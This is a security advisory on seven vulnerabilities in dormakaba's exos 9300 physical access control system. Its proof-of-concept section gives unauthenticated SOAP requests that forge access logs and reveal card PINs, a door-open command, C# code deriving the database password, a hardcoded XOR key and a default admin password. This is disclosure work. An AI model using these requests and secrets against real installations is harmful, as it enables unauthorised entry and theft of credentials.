Management Summary
This advisory details multiple critical vulnerabilities affecting dormakabas enterprise grade physical access management systems built on exos 9300, a widely deployed platform for physical access control. When exploited, these flaws could allow an attacker to unlock arbitrary doors through multiple attack paths, reconfigure connected controllers and peripherals without any prior authentication, and gain extensive unauthorized control over physical access infrastructure. The advisories are split into three parts (exos9300, access manager, registration unit). This part covers the Kaba exos 9300.
Vendor description
"The Kaba exos 9300 basic system is the cornerstone of your access management solution. Use it to resolves all your basic employees, system, user and peripheral management tasks and initiate targeted security measures as required. [...] "
Source: dormakaba.com
Business recommendation
The vendor provides multiple patches which should be installed immediately. More details can be found at the following locations:
- Solution at the end of this advisory
- SEC Consult blog post: https://r.sec-consult.com/dormakaba
- Vendor website / security page: https://www.dormakabagroup.com/en/security-advisories
- Your dormakaba partner
Tested Architecture Overview
The tested system is the enterprise grade physical access system from dormakaba. The tested system consists of the following components:
dormakaba exos 9300
Exos 9300 is a piece of software based on C# running on a central Windows server with an MSSQL, or Oracle database as central storage. Exos consists of multiple modules (e.g. basis, employee management, key depot, access, visitor management, 3rd party management). Exos is used to centrally manage users, keys, cards as well as the configuration of the access manager. Devices in the exos environment are addressed using a special addressing scheme. The address scheme described in the following table is going to be important.
┌────────────────────┬───────────────────────────┬───────────────┬───────────────────────────────────────────┬───────────────────────────┬───────────────────┐
│ I │ 01 │ 00 │ 01 │ 00 │ 00 │
├────────────────────┼───────────────────────────┼───────────────┼───────────────────────────────────────────┼───────────────────────────┼───────────────────┤
│ Port Type │ Communication Hub Address │ Port Address │ Access Hub Address │ 00 = Door Manager │ Datapoint Address │
│ I = Access Manager │ Values: 01-99 │ Values: 00-99 │ Values: 00-99 │ 01 = Access Point │ Values: 00-20 │
│ B = Serial │ │ │ Fixed to 01 for Access Hubs with Ethernet │ 02 = Turnstile │ │
│ C = Modem │ │ │ │ 03 = IO Controller │ │
│ E = Ethernet │ │ │ │ Fixed to 00 in most cases │ │
│ R = remote │ │ │ │ │ │
└────────────────────┴───────────────────────────┴───────────────┴───────────────────────────────────────────┴───────────────────────────┴───────────────────┘
dormakaba Access Manager
The access manager is a component that is configured via exos. The configuration between exos and access manager is exchanged via a SOAP interface. Per default the data exchange is unencrypted. Encryption is only available starting with access manager hardware release K7.
The access manager is a custom piece of hardware with multiple inputs and outputs. The device offers the following interfaces:
- Digital Inputs
- 3x DC Output Relays
- 2x RS-232
- 1x RS-485 (Used to connect to access manager extension systems e.g. Kaba 9125)
- 1x RJ45
- 1x Micro USB
- 2x Coax (Used to connect registration units e.g. 9001, 9002)
The tested hardware was an access manager 9200-k5 running Windows CE embedded, and an access manager 9200-k7 running Linux.
dormakaba Registration Unit
dormakaba registration units can be either a Legic/Mifare card reader, or a PIN pad used to enter a PIN to deactivate alarming systems, or as an additional authentication.
Electric lock
The lock used for the tested setup is an Assa Abloy/effeff Profix 118. The lock is simply controlled via a relay contact connected to the access manager. As
soon as a user successfully authenticates with a registration unit, the relay connected to the lock is switched and the door opens.
The system is depicted in the following diagram:
┌─────────┐
│ │
│exos 9300│ ┌──────────┐ ┌──────────┐
│ │ │ Reg Unit │ │ Pin Pad │
└────┬────┘ │ ┌──┐ │ │ x x x │
│ │ │┼┼│ │ │ x x x │
Ethernet──────►│ │ └──┘ │ │ x x x │
│ │ 9001 │ │ 9002 │
┌────┴────┐ └─────┬────┘ └─────┬────┘
│ Access │ │ │
│ Manager ├────────────────────┴─────────────┘
│ 9200 │ ▲
└────┬────┘ │
│ Coax
│
DC Relay───► │
│
┌──┴──┐
│ │
│ │
│ │
│ ─┤◄──────Electric Lock
│ │
│ │
└─────┘
Vulnerability overview/description
1) Unauthenticated SOAP API (CVE-2025-59090)
On the exos 9300 server, a SOAP API is reachable on port 8002. This API does not require any authentication prior to sending requests. Therefore, network access to the exos server allows e.g. the creation of arbitrary access log events as well as querying the 2FA PINs associated with the enrolled chip cards.
2) Hardcoded Legacy Accounts Allowing Control Over Access Managers (CVE-2025-59091)
Multiple hardcoded credentials have been identified, which are allowed to sign-in to the exos 9300 datapoint server running on port 1004 and 1005. This server is used for relaying status information from and to the access manager. This information, among other things, is used to graphically visualize open doors and alerts. However, controlling the access managers via this interface is also possible. To send and receive status information, authentication is necessary. The Kaba exos 9300 application contains hard-coded credentials for four different users, which are allowed to login to the datapoint server and receive as well as send information, including commands to open arbitrary doors.
3) Unauthenticated RPC Service (CVE-2025-59092)
An RPC service, which is part of exos 9300, is reachable on port 4000, run by the process FSMobilePhoneInterface.exe. This service is used for interprocess communication between services and the Kaba exos 9300 GUI, containing status information about the access managers. Interacting with the service does not require any authentication. Therefore, it is possible to send arbitrary status information about door contacts etc. without prior authentication.
4) Insecure Password Derivation Function for Database Administrator (CVE-2025-59093)
Exos 9300 instances are using a randomly generated database password to connect to the configured MSSQL server. The password is derived from static random values, which are concatenated to the hostname and a random string that can be read by every user from the registry. This allows an attacker to derive the database password and get authenticated access to the central exos 9300 database as the user "Exos9300Common". The user has the roles "ExosDialog" and “ExosDialogDotNet” assigned, which are able to read most tables of the database as well as update and insert into many tables.
5) Local Privilege Escalation in exos 9300 System management (CVE-2025-59094)
A local privilege escalation vulnerability has been identified in the Kaba exos 9300 System management application (d9sysdef.exe). Within this application it is possible to specify an arbitrary executable as well as the weekday and start time, when the specified executable should be run with SYSTEM privileges.
6) Hard-coded Key for PIN Encryption (CVE-2025-59095)
The program libraries (DLL) and binaries used by exos 9300 contain multiple hard-coded secrets. One notable example is the function “EncryptAndDecrypt” in the library Kaba.EXOS.common.dll. This algorithm uses a simple XOR encryption technique combined with a cryptographic key (cryptoKey) to transform each character of the input string. However, it's important to note that this implementation does not provide strong encryption and should not be considered secure for sensitive data. It's more of a custom encryption approach rather than a common algorithm used in cryptographic applications. The key itself is static and based on the founder's name of the company. The functionality is for example used to encrypt the user PINs before storing them in the MSSQL database.
7) Weak Default Password (CVE-2025-59096)
The default password for the extended admin user mode in the application U9ExisAdmin.exe ("Kaba 9300 Administration") is hard-coded in multiple locations as well as documented in the locally stored user documentation.
Proof of concept
1) Unauthenticated SOAP API (CVE-2025-59090)
To create arbitrary access log entries, the following request can be sent to the exos 9300 server on port 8002:
------Request--------
POST /IIdmm2CommunicationHubService HTTP/1.1
Host: <exos IP>:8002
User-Agent: gSOAP/2.8
Content-Type: application/soap+xml; charset=utf-8; action="http://kbr.kaba.ch/services/IIdmm2CommunicationHubService/IIdmm2CommunicationHubService/SetAccessEvent"
Content-Length: 984
Connection: keep-alive
SOAPAction: "http://kbr.kaba.ch/services/IIdmm2CommunicationHubService/IIdmm2CommunicationHubService/SetAccessEvent"
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope
xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope"
xmlns:SOAP-ENC="http://www.w3.org/2003/05/soap-encoding"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:arr="http://schemas.microsoft.com/2003/10/Serialization/Arrays"
xmlns:ns2="http://kbr.kaba.ch/services/ICommunicationHub2IdmmService"
xmlns:ns1="http://kbr.kaba.ch/services/IIdmm2CommunicationHubService">
<SOAP-ENV:Body>
<ns1:SetAccessEvent>
<ns1:identifier>I010001</ns1:identifier>
<ns1:accessEvent>
<ns1:BadgeNr>00000000000000061337</ns1:BadgeNr>
<ns1:DeviceStatus>1</ns1:DeviceStatus>
<ns1:EventId>10</ns1:EventId>
<ns1:LogDate>2025-01-01T13:37:00.0000000</ns1:LogDate>
<ns1:RegistrationUnitIndex>4</ns1:RegistrationUnitIndex>
<ns1:SiteKeyIndex>0</ns1:SiteKeyIndex>
<ns1:TransactionNumber>0</ns1:TransactionNumber>
<ns1:Vardat></ns1:Vardat>
</ns1:accessEvent>
</ns1:SetAccessEvent>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
----------------------The identifier value contains the identifier of the access manager that should be logged. The RegistrationUnitIndex specifies the reader on which a chip card was presented. EventId references the status of the Access Event (e.g. 10 -> successful authentication with chip card, 11 -> successful authentication with PIN, 12 successful authentication with biometrics).
Additionally, the validity of the event is not being verified. Therefore, it is possible to create arbitrary log entries in the future as well as in the past.
The response indicates the successful creation of the log entry.
------Response--------
HTTP/1.1 200 OK
Content-Length: 253
Content-Type: application/soap+xml; charset=utf-8
Server: Microsoft-HTTPAPI/2.0
<s:Envelope
xmlns:s="http://www.w3.org/2003/05/soap-envelope">
<s:Body>
<SetAccessEventResponse
xmlns="http://kbr.kaba.ch/services/IIdmm2CommunicationHubService">
<SetAccessEventResult>1</SetAccessEventResult>
</SetAccessEventResponse>
</s:Body>
</s:Envelope>
----------------------The same issue can also be used to query the 2FA PINs of enrolled chip cards, using the following request, containing the identifier of an access manager, the SiteKeyIndex, which - based on our observations - always is set to 0, as well as the card ID. If the card ID is not known, the request can also be used to effectively enumerate valid card IDs.
------Request--------
POST /IIdmm2CommunicationHubService HTTP/1.1
Host: <exos IP>:8002
User-Agent: gSOAP/2.8
Content-Type: application/soap+xml; charset=utf-8; action="http://kbr.kaba.ch/services/IIdmm2CommunicationHubService/IIdmm2CommunicationHubService/GetPerson"
Content-Length: 689
Connection: keep-alive
SOAPAction: "http://kbr.kaba.ch/services/IIdmm2CommunicationHubService/IIdmm2CommunicationHubService/GetPerson"
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope
xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope"
xmlns:SOAP-ENC="http://www.w3.org/2003/05/soap-encoding"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:arr="http://schemas.microsoft.com/2003/10/Serialization/Arrays"
xmlns:ns2="http://kbr.kaba.ch/services/ICommunicationHub2IdmmService"
xmlns:ns1="http://kbr.kaba.ch/services/IIdmm2CommunicationHubService">
<SOAP-ENV:Body>
<ns1:GetPerson>
<ns1:identifier>I010001</ns1:identifier>
<ns1:SiteKeyIndex>0</ns1:SiteKeyIndex>
<ns1:cid>00000000000000061337</ns1:cid>
</ns1:GetPerson>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
----------------------The response then contains the associated access rights for a certain card reader, the security level and even the associated PIN.
------Response--------
HTTP/1.1 200 OK
Content-Length: 1019
Content-Type: application/soap+xml; charset=utf-8
Server: Microsoft-HTTPAPI/2.0
<s:Envelope
xmlns:s="http://www.w3.org/2003/05/soap-envelope">
<s:Body>
<GetPersonResponse
xmlns="http://kbr.kaba.ch/services/IIdmm2CommunicationHubService">
<GetPersonResult>0</GetPersonResult>
<card
xmlns:a="http://kbr.kaba.ch/services/ICommunicationHub2IdmmService"
xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
<a:AccessRights>
<a:AccessRight>
<a:Option>32</a:Option>
<a:RegistrationUnitIndex>1</a:RegistrationUnitIndex>
<a:SecurityLevel>0</a:SecurityLevel>
<a:TimezoneFk>1</a:TimezoneFk>
</a:AccessRight>
<a:AccessRight>
<a:Option>32</a:Option>
<a:RegistrationUnitIndex>6</a:RegistrationUnitIndex>
<a:SecurityLevel>0</a:SecurityLevel>
<a:TimezoneFk>1</a:TimezoneFk>
</a:AccessRight>
<a:AccessRight>
<a:Option>32</a:Option>
<a:RegistrationUnitIndex>5</a:RegistrationUnitIndex>
<a:SecurityLevel>0</a:SecurityLevel>
<a:TimezoneFk>2</a:TimezoneFk>
</a:AccessRight>
</a:AccessRights>
<a:BadgeNr>00000000000000061337</a:BadgeNr>
<a:PinCode>1234</a:PinCode>
<a:SiteKeyIndex>0</a:SiteKeyIndex>
</card>
</GetPersonResponse>
</s:Body>
</s:Envelope>
----------------------2) Hardcoded Legacy Accounts Allowing Control Over Access Managers (CVE-2025-59091)
In the DLL Kaba.Exos.Domain.Logging.dll, as well as the executable r9DpServer.exe, the following accounts, including their plaintext password can be found:
- ExosSysOps (ENDPOINTGETDP, port 1005) password: x£<redacted>??
- ExosOPC (ENDPOINTGETDP, port 1005) password: x£<redacted>??
- ExosIV (ENDPOINTGETDP, port 1005) password: x£<redacted>??
- APLOAD (ENDPOINTSETDP, port 1004) password: ?<redacted>!*
They are able to authenticate by sending the login information in the following format to the datapoint server running on port 1005 UTF-16LE encoded:
<Login UserName="USERNAME" Password="PASSWORD" />After successful authentication, the following message can be sent, containing the identifier of a specific door to open it.
<Dp Address="I01000101" Type="DR" Command=1 />3) Unauthenticated RPC Service (CVE-2025-59092)
A tool like netcat can be used to send RPC objects to the service over the network to port 4000. This object contains the information that the door with the identifier I01000101 has been released and is currently open.
<RPC OBJ="+7+26+<redacted>+0+3+9#I01000101+<redacted>">The Kaba exos 9300 GUI then indicates that the door I01000101 has been released and is currently open. The status is changed until the next status update is received via either legitimate or illegitimate RPC objects received on port 4000. The RPC object, however, does not open the door, only the current status is changed. This might be an issue if the status is used for monitoring purposes.
4) Insecure Password Derivation Function for Database Administrator (CVE-2025-59093)
The password derivation function is built into a multitude of DLLs in the exos 9300 environment. Some sample DLLs containing the function are:
- Kaba.Exos.ORM.dll
- Kaba.Exos.Persistence.DbConnection.dll
- Kaba.Exos.Domain.Login.dll
A user simply needs to extract a value from the registry and the host name of the system to calculate the password. The following pseudo code shows the function to derive the password:
string dataBaseCode = "XXXX"; //Can be read by every user from the registry SOFTWARE\Kaba\Exos9300\DatabaseCode
string hostname = Environment.MachineName; //System hostname, accessible by every user
string s = "ztr__4O0!" + hostname + Reverse(dataBaseCode).Substring(0, 28) + "$$S_2w";
byte[] bytes = Encoding.Default.GetBytes(s);
byte[] array;
using (HashAlgorithm hashAlgorithm = new MD5CryptoServiceProvider())
{
array = hashAlgorithm.ComputeHash(bytes);
}
String serverUserPassword = "kZ_0" + BitConverter.ToString(array).Replace("-", string.Empty).Substring(0, 26).ToLower();
Console.WriteLine(serverUserPassword);
Console.ReadLine();
static string Reverse(string text)
{
char[] array = text.ToCharArray();
Array.Reverse((Array)array);
return new string(array);
}The generated password can then be used to login to the MSSQL instance as the user Exos9300Common.
5) Local Privilege Escalation in Exos 9300 System configuration (CVE-2025-59094)
The system management application (d9sysdef.exe) provides the possibility to execute arbitrary executables at a specified time, like a scheduled job (System management -> Edit -> Automatic program starts...). Within this view, a path to an arbitrary executable as well as a start time and weekdays can be specified. At the specified point of time, the executable is run by the process R9Autop.exe, running as background process with SYSTEM privileges. The newly spawned process therefore is also running as SYSTEM.
6) Hard-coded Key for PIN Encryption (CVE-2025-59095)
The exos 9300 application is using a self-developed function to encrypt and decrypt values. The function is based on a simple XOR and shift algorithm including an XOR key. An attacker can use this function to decrypt values inside of the database and many other locations. An example is the decryption of stored PINs. The following paragraph details the operation conducted in the encryption/decryption routine.
Parameter validation:
It first checks if the input parameter "param" is an empty string. If it is, it returns an empty string without any further processing.
Initialization:
It initializes an empty string text which will store the result of the encryption/decryption process. It initializes two integers num and num2 to keep track of the position within the input string and the cryptoKey respectively.
Encryption/Decryption Loop:
It enters a loop that iterates through each character in the input string "param". Within the loop, it checks if the value of num2 (position in the cryptoKey) exceeds the length of the cryptoKey.
If it does, it resets num2 to 0, effectively looping back to the start of the cryptoKey. It then converts the character at position num in the input string param into a byte b. If b is equal to the maximum value that a byte can hold (byte.MaxValue), it sets b to 0. It performs a bit-wise XOR operation between b and the character in the cryptoKey at position num2, with an additional bit-wise AND operation to only consider the lower 6 bits (0x3Fu). If the result of the XOR operation is 0, it sets it to the maximum byte value (byte.MaxValue). It appends the resulting character to the text string. It increments both num and num2 to move to the next character in param and the next character in the cryptoKey.
Return:
After processing all characters in the input string param, it returns the resulting encrypted/decrypted string stored in the text variable.
The original implementation of the decryption/encryption routine implemented in C# can be viewed in the following listing. The XOR key, which is the same in all installations can be viewed as well.
public class PasswordCryptoProvider
{
private static readonly string cryptoKey = "BauerBaxess";
private static string EncryptAndDecrypt(string param)
{
if (param.Length == 0)
{
return "";
}
string text = string.Empty;
int num = 0;
int num2 = 0;
while (num < param.Length)
{
if (num2 >= cryptoKey.Length)
{
num2 = 0;
}
byte b = (byte)param[num];
if (b == byte.MaxValue)
{
b = 0;
}
byte b2 = (byte)(b ^ ((byte)cryptoKey[num2] & 0x3Fu));
if (b2 == 0)
{
b2 = byte.MaxValue;
}
string text2 = text;
char c = (char)b2;
text = text2 + c;
num++;
num2++;
}
return text;
}
}7) Weak Default Password (CVE-2025-59096)
Exos 9300 offers an extended admin user mode. This mode is by default secured with the password "ExtendedAdminMode". The password can be found in the local documentation as well as hard-coded in the source code (e.g. Kaba.Exos.Service.Common.Security.PasswordService as (insecure) SHA1 hash).
Vulnerable / tested versions
Initially, the vulnerabilities were identified in exos 9300 version 4.0.80.200 and have also been verified in the version 4.3.2.444.
According to dormakaba, all versions < 4.4.1 are vulnerable.